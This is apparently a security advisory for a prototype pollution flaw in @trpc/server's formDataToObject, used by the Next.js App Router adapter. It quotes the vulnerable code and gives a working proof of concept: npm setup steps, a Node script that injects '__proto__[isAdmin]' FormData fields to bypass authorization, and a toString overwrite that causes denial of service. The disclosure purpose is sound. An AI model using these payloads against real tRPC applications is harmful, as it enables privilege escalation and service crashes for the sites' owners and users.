Is @trpc/server safe?

GHSA-43p4-m455-4f4j

> Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

• Package: @trpc/server
• Affected Versions: >=10.27.0
• Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @trpc/server@11.7.2

# Step 4: Create the test file 

---

const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail